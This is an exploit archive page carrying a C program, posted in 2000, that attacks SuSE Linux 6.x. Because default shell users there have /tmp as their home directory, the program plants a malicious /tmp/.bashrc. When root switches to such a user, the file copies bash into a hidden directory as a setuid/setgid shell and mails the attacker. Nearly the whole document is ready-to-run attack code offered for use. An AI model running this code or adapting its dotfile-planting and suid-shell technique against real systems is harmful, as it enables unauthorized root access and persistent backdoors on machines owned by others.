exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SuSeLocaltmpXploit.c

SuSeLocaltmpXploit.c
Posted Jul 1, 2000
Authored by WC

SuSe 6.1 through 6.4 local exploit - when root switches users, /tmp/ will be the $HOME. This exploit will create a suid (user) shell when root su's to a user account.

tags | exploit, shell, local, root
systems | linux, suse
SHA-256 | 0c640e5bd6cad6ab1a9f902ec11367abac1597d2768eedf475e4293e23c3c435

SuSeLocaltmpXploit.c

Change Mirror Download
/*

SuSe Local tmp Xploit by wildcoyote@coders-pt.org

Advisorie:

In 'all' versions of SuSe, default shell users have /tmp/ for their $HOME!
Because /tmp/ is world writable, any user on the shell can make a shell
dot file (like .bashrc) wich the default'shell'users will execute on log on!
When does this happen? Example: when r00t suids to a user like nobody :]

Vulnerable (checked):

SuSe Linux 6.4
SuSe Linux 6.3 ppc
SuSe Linux 6.3 alpha
SuSe Linux 6.3
SuSe Linux 6.2
SuSe Linux 6.1 alpha
SuSe Linux 6.1

This information was taken from a security focus advisorie!
(by a unknown (to me) poster)

*/

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/stat.h>

#define HIDDEN_DIR_TO_STORE_SHELLS "/tmp/.nothing_to_declare/"
#define PATH_TO_SYSTEM_MAIL "/bin/mail"
#define SUBJECT_FOR_MAIL "got another own3d shell"
#define DEFINED_WARN_MSG "Hey! Just wanna warn you that i gave you another shell!"

main(int argc, char *argv[])
{
FILE *fx;
char buf[512];
printf("\n\t\tSuse Local tmp Xploit by wildcoyote@coders-pt.org\n\n");
if(argc==1)
{
printf("Sintaxe: %s <username/valid mail account>\n",argv[0]);
printf("Example:\n\n");
printf(" -> If you want to be warned of a *new* own3d shell on tha b0x:\n");
printf(" %s wildcoyote\n",argv[0]);
printf(" -> If you want to be warned to a mail account (other then your shell):\n");
printf(" %s wildcoyote@coders-pt.org\n\n",argv[0]);
printf("Stay kewl :]\n\n");
exit(-1);
}
printf("Generating .bashrc...");
remove("/tmp/.bashrc"); // Just to make sure...
fx=fopen("/tmp/.bashrc","a");
fputs("# Yeaps! This is a shell dot file wich will gimme lots of default shell accounts on thiz suse box :))\n",fx);
snprintf(buf,sizeof(buf),"if test -d %s\n",HIDDEN_DIR_TO_STORE_SHELLS);
fputs(buf,fx);
bzero(buf,strlen(buf));
fputs("then teste=1\n",fx);
snprintf(buf,sizeof(buf),"else mkdir %s ; chmod 777 %s\n",HIDDEN_DIR_TO_STORE_SHELLS,HIDDEN_DIR_TO_STORE_SHELLS);
fputs(buf,fx);
bzero(buf,strlen(buf));
fputs("fi\n",fx);
fputs("a=$RANDOM\n",fx);
snprintf(buf,sizeof(buf),"cp /bin/bash %sown3d.$a\n",HIDDEN_DIR_TO_STORE_SHELLS);
fputs(buf,fx);
bzero(buf,strlen(buf));
snprintf(buf,sizeof(buf),"chmod 6777 %sown3d.$a\n",HIDDEN_DIR_TO_STORE_SHELLS);
fputs(buf,fx);
bzero(buf,strlen(buf));
snprintf(buf,sizeof(buf),"%s -s '%s' %s %s\n",PATH_TO_SYSTEM_MAIL,SUBJECT_FOR_MAIL,argv[1],DEFINED_WARN_MSG);
fputs(buf,fx);
fclose(fx);
printf("DONE\n");
chmod("/tmp/.bashrc",00777);
printf("Oh k! /tmp/.bashrc is now created! :]\n");
printf("When r00t suids to one of the default shell'userz wich have /tmp as their $HOME\n");
printf("It will run /tmp/.bashrc and give you a own3d shell ;)\n");
printf("(own3d shells will stay on %s)\n",HIDDEN_DIR_TO_STORE_SHELLS);
printf("Regardz, wildcoyote@coders-pt.org\n\n");
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    53 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close